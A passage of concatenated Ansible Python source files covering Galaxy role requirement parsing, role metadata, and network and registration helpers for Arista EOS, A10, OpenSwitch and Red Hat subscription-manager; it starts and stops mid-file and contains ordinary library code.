    def load(data, play, current_role_path=None, parent_role=None, variable_manager=None, loader=None):

        assert isinstance(data, string_types) or isinstance(data, dict) or isinstance(data, AnsibleBaseYAMLObject)
        if isinstance(data, string_types) and ',' in data:
            data = RoleRequirement.role_spec_parse(data)

        ri = RoleInclude(play=play, role_basedir=current_role_path, variable_manager=variable_manager, loader=loader)
        return ri.load_data(data, variable_manager=variable_manager, loader=loader)







# (c) 2014 Michael DeHaan, <michael@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.six import string_types

import os
import shutil
import subprocess
import tempfile

from ansible.errors import AnsibleError
from ansible.playbook.role.definition import RoleDefinition

__all__ = ['RoleRequirement']


VALID_SPEC_KEYS = [
    'name',
    'role',
    'scm',
    'src',
    'version',
]

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

class RoleRequirement(RoleDefinition):

    """
    Helper class for Galaxy, which is used to parse both dependencies
    specified in meta/main.yml and requirements.yml files.
    """

    def __init__(self):
        pass

    @staticmethod
    def repo_url_to_role_name(repo_url):
        # gets the role name out of a repo like
        # http://git.example.com/repos/repo.git" => "repo"

        if '://' not in repo_url and '@' not in repo_url:
            return repo_url
        trailing_path = repo_url.split('/')[-1]
        if trailing_path.endswith('.git'):
            trailing_path = trailing_path[:-4]
        if trailing_path.endswith('.tar.gz'):
            trailing_path = trailing_path[:-7]
        if ',' in trailing_path:
            trailing_path = trailing_path.split(',')[0]
        return trailing_path

    @staticmethod
    def role_spec_parse(role_spec):
        # takes a repo and a version like
        # git+http://git.example.com/repos/repo.git,v1.0
        # and returns a list of properties such as:
        # {
        #   'scm': 'git',
        #   'src': 'http://git.example.com/repos/repo.git',
        #   'version': 'v1.0',
        #   'name': 'repo'
        # }

        display.deprecated("The comma separated role spec format, use the yaml/explicit format instead.")

        default_role_versions = dict(git='master', hg='tip')

        role_spec = role_spec.strip()
        role_version = ''
        if role_spec == "" or role_spec.startswith("#"):
            return (None, None, None, None)

        tokens = [s.strip() for s in role_spec.split(',')]

        # assume https://github.com URLs are git+https:// URLs and not
        # tarballs unless they end in '.zip'
        if 'github.com/' in tokens[0] and not tokens[0].startswith("git+") and not tokens[0].endswith('.tar.gz'):
            tokens[0] = 'git+' + tokens[0]

        if '+' in tokens[0]:
            (scm, role_url) = tokens[0].split('+')
        else:
            scm = None
            role_url = tokens[0]

        if len(tokens) >= 2:
            role_version = tokens[1]

        if len(tokens) == 3:
            role_name = tokens[2]
        else:
            role_name = RoleRequirement.repo_url_to_role_name(tokens[0])

        if scm and not role_version:
            role_version = default_role_versions.get(scm, '')

        return dict(scm=scm, src=role_url, version=role_version, name=role_name)

    @staticmethod
    def role_yaml_parse(role):

        if isinstance(role, string_types):
            name = None
            scm = None
            src = None
            version = None
            if ',' in role:
                if role.count(',') == 1:
                    (src, version) = role.strip().split(',', 1)
                elif role.count(',') == 2:
                    (src, version, name) = role.strip().split(',', 2)
                else:
                    raise AnsibleError("Invalid role line (%s). Proper format is 'role_name[,version[,name]]'" % role)
            else:
                src = role

            if name is None:
                name = RoleRequirement.repo_url_to_role_name(src)
            if '+' in src:
                (scm, src) = src.split('+', 1)

            return dict(name=name, src=src, scm=scm, version=version)

        if 'role' in role:
            # Old style: {role: "galaxy.role,version,name", other_vars: "here" }
            role = RoleRequirement.role_spec_parse(role['role'])
        else:
            role = role.copy()

            if 'src'in role:
                # New style: { src: 'galaxy.role,version,name', other_vars: "here" }
                if 'github.com' in role["src"] and 'http' in role["src"] and '+' not in role["src"] and not role["src"].endswith('.tar.gz'):
                    role["src"] = "git+" + role["src"]

                if '+' in role["src"]:
                    (scm, src) = role["src"].split('+')
                    role["scm"] = scm
                    role["src"] = src

                if 'name' not in role:
                    role["name"] = RoleRequirement.repo_url_to_role_name(role["src"])

            if 'version' not in role:
                role['version'] = ''

            if 'scm' not in role:
                role['scm'] = None

        for key in role.keys():
            if key not in VALID_SPEC_KEYS:
                role.pop(key)

        return role

    @staticmethod
    def scm_archive_role(src, scm='git', name=None, version='HEAD'):
        if scm not in ['hg', 'git']:
            raise AnsibleError("- scm %s is not currently supported" % scm)
        tempdir = tempfile.mkdtemp()
        clone_cmd = [scm, 'clone', src, name]
        with open('/dev/null', 'w') as devnull:
            try:
                popen = subprocess.Popen(clone_cmd, cwd=tempdir, stdout=devnull, stderr=devnull)
            except:
                raise AnsibleError("error executing: %s" % " ".join(clone_cmd))
            rc = popen.wait()
        if rc != 0:
            raise AnsibleError ("- command %s failed in directory %s (rc=%s)" % (' '.join(clone_cmd), tempdir, rc))

        if scm == 'git' and version:
            checkout_cmd = [scm, 'checkout', version]
            with open('/dev/null', 'w') as devnull:
                try:
                    popen = subprocess.Popen(checkout_cmd, cwd=os.path.join(tempdir, name), stdout=devnull, stderr=devnull)
                except (IOError, OSError):
                    raise AnsibleError("error executing: %s" % " ".join(checkout_cmd))
                rc = popen.wait()
            if rc != 0:
                raise AnsibleError("- command %s failed in directory %s (rc=%s)" % (' '.join(checkout_cmd), tempdir, rc))

        temp_file = tempfile.NamedTemporaryFile(delete=False, suffix='.tar')
        if scm == 'hg':
            archive_cmd = ['hg', 'archive', '--prefix', "%s/" % name]
            if version:
                archive_cmd.extend(['-r', version])
            archive_cmd.append(temp_file.name)
        if scm == 'git':
            archive_cmd = ['git', 'archive', '--prefix=%s/' % name, '--output=%s' % temp_file.name]
            if version:
                archive_cmd.append(version)
            else:
                archive_cmd.append('HEAD')

        with open('/dev/null', 'w') as devnull:
            popen = subprocess.Popen(archive_cmd, cwd=os.path.join(tempdir, name),
                                     stderr=devnull, stdout=devnull)
            rc = popen.wait()
        if rc != 0:
            raise AnsibleError("- command %s failed in directory %s (rc=%s)" % (' '.join(archive_cmd), tempdir, rc))

        shutil.rmtree(tempdir, ignore_errors=True)
        return temp_file.name







# (c) 2014 Michael DeHaan, <michael@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible.compat.six import iteritems, string_types

from ansible.errors import AnsibleParserError
from ansible.playbook.attribute import Attribute, FieldAttribute
from ansible.playbook.base import Base
from ansible.playbook.helpers import load_list_of_roles
from ansible.playbook.role.include import RoleInclude


__all__ = ['RoleMetadata']


class RoleMetadata(Base):
    '''
    This class wraps the parsing and validation of the optional metadata
    within each Role (meta/main.yml).
    '''

    _allow_duplicates = FieldAttribute(isa='bool', default=False)
    _dependencies     = FieldAttribute(isa='list', default=[])
    _galaxy_info      = FieldAttribute(isa='GalaxyInfo')

    def __init__(self, owner=None):
        self._owner = owner
        super(RoleMetadata, self).__init__()

    @staticmethod
    def load(data, owner, variable_manager=None, loader=None):
        '''
        Returns a new RoleMetadata object based on the datastructure passed in.
        '''

        if not isinstance(data, dict):
            raise AnsibleParserError("the 'meta/main.yml' for role %s is not a dictionary" % owner.get_name())

        m = RoleMetadata(owner=owner).load_data(data, variable_manager=variable_manager, loader=loader)
        return m

    def _load_dependencies(self, attr, ds):
        '''
        This is a helper loading function for the dependencies list,
        which returns a list of RoleInclude objects
        '''

        if ds is None:
            ds = []

        current_role_path = None
        if self._owner:
            current_role_path = os.path.dirname(self._owner._role_path)

        try:
            return load_list_of_roles(ds, play=self._owner._play, current_role_path=current_role_path, variable_manager=self._variable_manager, loader=self._loader)
        except AssertionError:
            raise AnsibleParserError("A malformed list of role dependencies was encountered.", obj=self._ds)

    def _load_galaxy_info(self, attr, ds):
        '''
        This is a helper loading function for the galaxy info entry
        in the metadata, which returns a GalaxyInfo object rather than
        a simple dictionary.
        '''

        return ds

    def serialize(self):
        return dict(
            allow_duplicates = self._allow_duplicates,
            dependencies     = self._dependencies,
        )

    def deserialize(self, data):
        setattr(self, 'allow_duplicates', data.get('allow_duplicates', False))
        setattr(self, 'dependencies', data.get('dependencies', []))






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c) 2015 Peter Sprygada, <psprygada@ansible.com>
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

import re

from ansible.module_utils.basic import json, get_exception
from ansible.module_utils.network import NetworkModule, NetworkError, ModuleStub
from ansible.module_utils.network import add_argument, register_transport, to_list
from ansible.module_utils.netcfg import NetworkConfig
from ansible.module_utils.netcli import Command
from ansible.module_utils.shell import CliBase
from ansible.module_utils.urls import fetch_url, url_argument_spec

EAPI_FORMATS = ['json', 'text']

add_argument('use_ssl', dict(default=True, type='bool'))
add_argument('validate_certs', dict(default=True, type='bool'))

class EosConfigMixin(object):

    ### implementation of netcfg.Config ###

    def configure(self, commands, **kwargs):
        cmds = ['configure terminal']
        cmds.extend(to_list(commands))
        cmds.append('end')
        responses = self.execute(commands)
        return responses[1:-1]

    def get_config(self, include_defaults=False, **kwargs):
        cmd = 'show running-config'
        if include_defaults:
            cmd += ' all'
        return self.execute([cmd])[0]

    def load_config(self, config, session, commit=False, replace=False, **kwargs):
        """ Loads the configuration into the remote device

        This method handles the actual loading of the config
        commands into the remote EOS device.  By default the
        config specified is merged with the current running-config.

        :param config: ordered list of config commands to load
        :param replace: replace current config when True otherwise merge

        :returns list: ordered set of responses from device
        """
        commands = ['configure session %s' % session]
        if replace:
            commands.append('rollback clean-config')

        commands.extend(config)

        if commands[-1] != 'end':
            commands.append('end')

        try:
            self.execute(commands)
            diff = self.diff_config(session)
            if commit:
                self.commit_config(session)
        except NetworkError:
            self.abort_config(session)
            diff = None
            raise
        return diff

    def save_config(self):
        self.execute(['copy running-config startup-config'])

    ### end netcfg.Config ###

    def diff_config(self, session):
        commands = ['configure session %s' % session,
                    'show session-config diffs',
                    'end']
        response = self.execute(commands)
        return response[-2]

    def commit_config(self, session):
        commands = ['configure session %s' % session, 'commit']
        self.execute(commands)

    def abort_config(self, session):
        commands = ['configure session %s' % session, 'abort']
        self.execute(commands)

class Eapi(EosConfigMixin):

    def __init__(self):
        self.url = None
        self.url_args = ModuleStub(url_argument_spec(), self._error)
        self.enable = None
        self.default_output = 'json'
        self._connected = False

    def _error(self, msg):
        raise NetworkError(msg, url=self.url)

    def _get_body(self, commands, format, reqid=None):
        """Create a valid eAPI JSON-RPC request message
        """

        if format not in EAPI_FORMATS:
            msg = 'invalid format, received %s, expected one of %s' % \
                    (format, ','.join(EAPI_FORMATS))
            self._error(msg=msg)

        params = dict(version=1, cmds=commands, format=format)
        return dict(jsonrpc='2.0', id=reqid, method='runCmds', params=params)

    def connect(self, params, **kwargs):
        host = params['host']
        port = params['port']

        # sets the module_utils/urls.py req parameters
        self.url_args.params['url_username'] = params['username']
        self.url_args.params['url_password'] = params['password']
        self.url_args.params['validate_certs'] = params['validate_certs']

        if params['use_ssl']:
            proto = 'https'
            if not port:
                port = 443
        else:
            proto = 'http'
            if not port:
                port = 80

        self.url = '%s://%s:%s/command-api' % (proto, host, port)
        self._connected = True

    def disconnect(self, **kwargs):
        self.url = None
        self._connected = False

    def authorize(self, params, **kwargs):
        if params.get('auth_pass'):
            passwd = params['auth_pass']
            self.enable = dict(cmd='enable', input=passwd)
        else:
            self.enable = 'enable'


    ### implementation of network.Cli ###

    def run_commands(self, commands):
        output = None
        cmds = list()
        responses = list()

        for cmd in commands:
            if output and output != cmd.output:
                responses.extend(self.execute(cmds, format=output))
                cmds = list()

            output = cmd.output
            cmds.append(str(cmd))

        if cmds:
            responses.extend(self.execute(cmds, format=output))

        for index, cmd in enumerate(commands):
            if cmd.output == 'text':
                responses[index] = responses[index].get('output')

        return responses

    def execute(self, commands, format='json', **kwargs):
        """Send commands to the device.
        """
        if self.url is None:
            raise NetworkError('Not connected to endpoint.')

        if self.enable is not None:
            commands.insert(0, self.enable)

        data = self._get_body(commands, format)
        data = json.dumps(data)

        headers = {'Content-Type': 'application/json-rpc'}

        response, headers = fetch_url(
            self.url_args, self.url, data=data, headers=headers,
            method='POST'
        )

        if headers['status'] != 200:
            raise NetworkError(**headers)

        try:
            response = json.loads(response.read())
        except ValueError:
            raise NetworkError('unable to load response from device')

        if 'error' in response:
            err = response['error']
            raise NetworkError(
                msg=err['message'], code=err['code'], data=err['data'],
                commands=commands
            )

        if self.enable:
            response['result'].pop(0)

        return response['result']

    def get_config(self, **kwargs):
        return self.run_commands(['show running-config'], format='text')[0]

Eapi = register_transport('eapi')(Eapi)


class Cli(CliBase, EosConfigMixin):

    CLI_PROMPTS_RE = [
        re.compile(r"[\r\n]?[\w+\-\.:\/\[\]]+(?:\([^\)]+\)){,3}(?:>|#) ?$"),
        re.compile(r"\[\w+\@[\w\-\.]+(?: [^\]])\] ?[>#\$] ?$")
    ]

    CLI_ERRORS_RE = [
        re.compile(r"% ?Error"),
        re.compile(r"^% \w+", re.M),
        re.compile(r"% ?Bad secret"),
        re.compile(r"invalid input", re.I),
        re.compile(r"(?:incomplete|ambiguous) command", re.I),
        re.compile(r"connection timed out", re.I),
        re.compile(r"[^\r\n]+ not found", re.I),
        re.compile(r"'[^']' +returned error code: ?\d+"),
        re.compile(r"[^\r\n]\/bin\/(?:ba)?sh")
    ]

    NET_PASSWD_RE = re.compile(r"[\r\n]?password: $", re.I)

    def connect(self, params, **kwargs):
        super(Cli, self).connect(params, kickstart=True, **kwargs)
        self.shell.send('terminal length 0')

    def authorize(self, params, **kwargs):
        passwd = params['auth_pass']
        self.execute(Command('enable', prompt=self.NET_PASSWD_RE, response=passwd))

    ### implementation of network.Cli ###

    def run_commands(self, commands):
        """execute the ordered set of commands on the remote host

        This method will take a list of Command objects, convert them
        to a list of dict objects and execute them on the shell
        connection.

        :param commands: list of Command objects

        :returns: set of ordered responses
        """
        cmds = list(prepare_commands(commands))
        responses = self.execute(cmds)
        for index, cmd in enumerate(commands):
            if cmd.output == 'json':
                try:
                    responses[index] = json.loads(responses[index])
                except ValueError:
                    raise NetworkError(
                        msg='unable to load response from device',
                        response=responses[index]
                    )
        return responses

Cli = register_transport('cli', default=True)(Cli)


def prepare_config(commands):
    commands = to_list(commands)
    commands.insert(0, 'configure terminal')
    commands.append('end')
    return commands

def prepare_commands(commands):
    """ transforms a list of Command objects to dict

    :param commands: list of Command objects

    :returns: list of dict objects
    """
    jsonify = lambda x: '%s | json' % x
    for cmd in to_list(commands):
        if cmd.output == 'json':
            cmd = jsonify(cmd)
        else:
            cmd = str(cmd)
        yield cmd






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2012-2013
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

import json

from ansible.module_utils.urls import fetch_url

AXAPI_PORT_PROTOCOLS = {
    'tcp': 2,
    'udp': 3,
}

AXAPI_VPORT_PROTOCOLS = {
    'tcp': 2,
    'udp': 3,
    'fast-http': 9,
    'http': 11,
    'https': 12,
}

def a10_argument_spec():
    return dict(
        host=dict(type='str', required=True),
        username=dict(type='str', aliases=['user', 'admin'], required=True),
        password=dict(type='str', aliases=['pass', 'pwd'], required=True, no_log=True),
        write_config=dict(type='bool', default=False)
    )

def axapi_failure(result):
    if 'response' in result and result['response'].get('status') == 'fail':
        return True
    return False

def axapi_call(module, url, post=None):
    '''
    Returns a datastructure based on the result of the API call
    '''
    rsp, info = fetch_url(module, url, data=post)
    if not rsp or info['status'] >= 400:
        module.fail_json(msg="failed to connect (status code %s), error was %s" % (info['status'], info.get('msg', 'no error given')))
    try:
        raw_data = rsp.read()
        data = json.loads(raw_data)
    except ValueError:
        # at least one API call (system.action.write_config) returns
        # XML even when JSON is requested, so do some minimal handling
        # here to prevent failing even when the call succeeded
        if 'status="ok"' in raw_data.lower():
            data = {"response": {"status": "OK"}}
        else:
            data = {"response": {"status": "fail", "err": {"msg": raw_data}}}
    except:
        module.fail_json(msg="could not read the result from the host")
    finally:
        rsp.close()
    return data

def axapi_authenticate(module, base_url, username, password):
    url = '%s&method=authenticate&username=%s&password=%s' % (base_url, username, password)
    result = axapi_call(module, url)
    if axapi_failure(result):
        return module.fail_json(msg=result['response']['err']['msg'])
    sessid = result['session_id']
    return base_url + '&session_id=' + sessid

def axapi_enabled_disabled(flag):
    '''
    The axapi uses 0/1 integer values for flags, rather than strings
    or booleans, so convert the given flag to a 0 or 1. For now, params
    are specified as strings only so thats what we check.
    '''
    if flag == 'enabled':
        return 1
    else:
        return 0

def axapi_get_port_protocol(protocol):
    return AXAPI_PORT_PROTOCOLS.get(protocol.lower(), None)

def axapi_get_vport_protocol(protocol):
    return AXAPI_VPORT_PROTOCOLS.get(protocol.lower(), None)







#
# (c) 2015 Peter Sprygada, <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#

import re

try:
    import ovs.poller
    import ops.dc
    from ops.settings import settings
    from opslib import restparser
    HAS_OPS = True
except ImportError:
    HAS_OPS = False

from ansible.module_utils.basic import json, json_dict_bytes_to_unicode
from ansible.module_utils.network import ModuleStub, NetCli, NetworkError
from ansible.module_utils.network import add_argument, register_transport, to_list
from ansible.module_utils.urls import fetch_url, url_argument_spec

# temporary fix until modules are update.  to be removed before 2.2 final
from ansible.module_utils.network import get_module

add_argument('use_ssl', dict(default=True, type='bool'))
add_argument('validate_certs', dict(default=True, type='bool'))

def get_opsidl():
    extschema = restparser.parseSchema(settings.get('ext_schema'))
    ovsschema = settings.get('ovs_schema')
    ovsremote = settings.get('ovs_remote')
    opsidl = ops.dc.register(extschema, ovsschema, ovsremote)

    init_seqno = opsidl.change_seqno
    while True:
        opsidl.run()
        if init_seqno != opsidl.change_seqno:
            break
        poller = ovs.poller.Poller()
        opsidl.wait(poller)
        poller.block()

    return (extschema, opsidl)

class Response(object):

    def __init__(self, resp, hdrs):
        self.body = None
        self.headers = hdrs

        if resp:
            self.body = resp.read()

    @property
    def json(self):
        if not self.body:
            return None
        try:
            return json.loads(self.body)
        except ValueError:
            return None

class Rest(object):
    def __init__(self):
        self.url = None
        self.url_args = ModuleStub(url_argument_spec(), self._error)
        self.headers = dict({'Content-Type': 'application/json', 'Accept': 'application/json'})
        self._connected = False

    def _error(self, msg):
        raise NetworkError(msg, url=self.url)

    def connect(self, params, **kwargs):
        host = params['host']
        port = params['port']

        # sets the module_utils/urls.py req parameters
        self.url_args.params['url_username'] = params['username']
        self.url_args.params['url_password'] = params['password']
        self.url_args.params['validate_certs'] = params['validate_certs']

        if params['use_ssl']:
            proto = 'https'
            if not port:
                port = 443
        else:
            proto = 'http'
            if not port:
                port = 80

        baseurl = '%s://%s:%s' % (proto, host, port)
        headers = dict({'Content-Type': 'application/x-www-form-urlencoded'})
        # Get a cookie and save it the rest of the operations.
        url = '%s/%s' % (baseurl, 'login')
        data = 'username=%s&password=%s' % (params['username'], params['password'])
        resp, hdrs = fetch_url(self.url_args, url, data=data, headers=headers, method='POST')

        # Update the base url for the rest of the operations.
        self.url = '%s/rest/v1' % (baseurl)
        self.headers['Cookie'] = resp.headers.get('Set-Cookie')

    def disconnect(self, **kwargs):
        self.url = None
        self._connected = False

    def authorize(self, params, **kwargs):
        raise NotImplementedError

    def _url_builder(self, path):
        if path[0] == '/':
            path = path[1:]
        return '%s/%s' % (self.url, path)

    def request(self, method, path, data=None, headers=None):
        url = self._url_builder(path)
        data = self._jsonify(data)

        if headers is None:
            headers = dict()
        headers.update(self.headers)

        resp, hdrs = fetch_url(self.url_args, url, data=data, headers=headers, method=method)

        return Response(resp, hdrs)

    def get(self, path, data=None, headers=None):
        return self.request('GET', path, data, headers)

    def put(self, path, data=None, headers=None):
        return self.request('PUT', path, data, headers)

    def post(self, path, data=None, headers=None):
        return self.request('POST', path, data, headers)

    def delete(self, path, data=None, headers=None):
        return self.request('DELETE', path, data, headers)

    def configure(self, commands):
        path = '/system/full-configuration'
        return self.put(path, data=commands)

    def load_config(self, commands, **kwargs):
        raise NotImplementedError

    def get_config(self, **kwargs):
        resp = self.get('/system/full-configuration')
        return resp.json

    def commit_config(self, **kwargs):
        raise NotImplementedError

    def abort_config(self, **kwargs):
        raise NotImplementedError

    def save_config(self):
        raise NotImplementedError

    def _jsonify(self, data):
        for encoding in ("utf-8", "latin-1"):
            try:
                return json.dumps(data, encoding=encoding)
            # Old systems using old simplejson module does not support encoding keyword.
            except TypeError:
                try:
                    new_data = json_dict_bytes_to_unicode(data, encoding=encoding)
                except UnicodeDecodeError:
                    continue
                return json.dumps(new_data)
            except UnicodeDecodeError:
                continue
        self._error(msg='Invalid unicode encoding encountered')
Rest = register_transport('rest')(Rest)


class Cli(NetCli):
    CLI_PROMPTS_RE = None

    CLI_ERRORS_RE = None

    NET_PASSWD_RE = re.compile(r"[\r\n]?password: $", re.I)
    def configure(self, commands, **kwargs):
        cmds = ['configure terminal']
        cmds.extend(to_list(commands))

        responses = self.execute(cmds)
        return responses[1:]

    def get_config(self, params, **kwargs):
        return self.execute('show running-config')[0]

    def load_config(self, commands, commit=False, **kwargs):
        raise NotImplementedError

    def replace_config(self, commands, **kwargs):
        raise NotImplementedError

    def commit_config(self, **kwargs):
        raise NotImplementedError

    def abort_config(self, **kwargs):
        raise NotImplementedError

    def save_config(self):
        raise NotImplementedError

    def run_commands(self, commands):
        cmds = to_list(commands)
        responses = self.execute(cmds)
        return responses
Cli = register_transport('cli', default=True)(Cli)






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c), James Laska
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

import os
import re
import types
import ConfigParser


class RegistrationBase(object):
    def __init__(self, module, username=None, password=None):
        self.module = module
        self.username = username
        self.password = password

    def configure(self):
        raise NotImplementedError("Must be implemented by a sub-class")

    def enable(self):
        # Remove any existing redhat.repo
        redhat_repo = '/etc/yum.repos.d/redhat.repo'
        if os.path.isfile(redhat_repo):
            os.unlink(redhat_repo)

    def register(self):
        raise NotImplementedError("Must be implemented by a sub-class")

    def unregister(self):
        raise NotImplementedError("Must be implemented by a sub-class")

    def unsubscribe(self):
        raise NotImplementedError("Must be implemented by a sub-class")

    def update_plugin_conf(self, plugin, enabled=True):
        plugin_conf = '/etc/yum/pluginconf.d/%s.conf' % plugin
        if os.path.isfile(plugin_conf):
            cfg = ConfigParser.ConfigParser()
            cfg.read([plugin_conf])
            if enabled:
                cfg.set('main', 'enabled', 1)
            else:
                cfg.set('main', 'enabled', 0)
            fd = open(plugin_conf, 'rwa+')
            cfg.write(fd)
            fd.close()

    def subscribe(self, **kwargs):
        raise NotImplementedError("Must be implemented by a sub-class")


class Rhsm(RegistrationBase):
    def __init__(self, module, username=None, password=None):
        RegistrationBase.__init__(self, module, username, password)
        self.config = self._read_config()
        self.module = module

    def _read_config(self, rhsm_conf='/etc/rhsm/rhsm.conf'):
        '''
            Load RHSM configuration from /etc/rhsm/rhsm.conf.
            Returns:
             * ConfigParser object
        '''

        # Read RHSM defaults ...
        cp = ConfigParser.ConfigParser()
        cp.read(rhsm_conf)

        # Add support for specifying a default value w/o having to standup some configuration
        # Yeah, I know this should be subclassed ... but, oh well
        def get_option_default(self, key, default=''):
            sect, opt = key.split('.', 1)
            if self.has_section(sect) and self.has_option(sect, opt):
                return self.get(sect, opt)
            else:
                return default

        cp.get_option = types.MethodType(get_option_default, cp, ConfigParser.ConfigParser)

        return cp

    def enable(self):
        '''
            Enable the system to receive updates from subscription-manager.
            This involves updating affected yum plugins and removing any
            conflicting yum repositories.
        '''
        RegistrationBase.enable(self)
        self.update_plugin_conf('rhnplugin', False)
        self.update_plugin_conf('subscription-manager', True)

    def configure(self, **kwargs):
        '''
            Configure the system as directed for registration with RHN
            Raises:
              * Exception - if error occurs while running command
        '''
        args = ['subscription-manager', 'config']

        # Pass supplied **kwargs as parameters to subscription-manager.  Ignore
        # non-configuration parameters and replace '_' with '.'.  For example,
        # 'server_hostname' becomes '--system.hostname'.
        for k,v in kwargs.items():
            if re.search(r'^(system|rhsm)_', k):
                args.append('--%s=%s' % (k.replace('_','.'), v))
        
        self.module.run_command(args, check_rc=True)

    @property
    def is_registered(self):
        '''
            Determine whether the current system
            Returns:
              * Boolean - whether the current system is currently registered to
                          RHN.
        '''
        # Quick version...
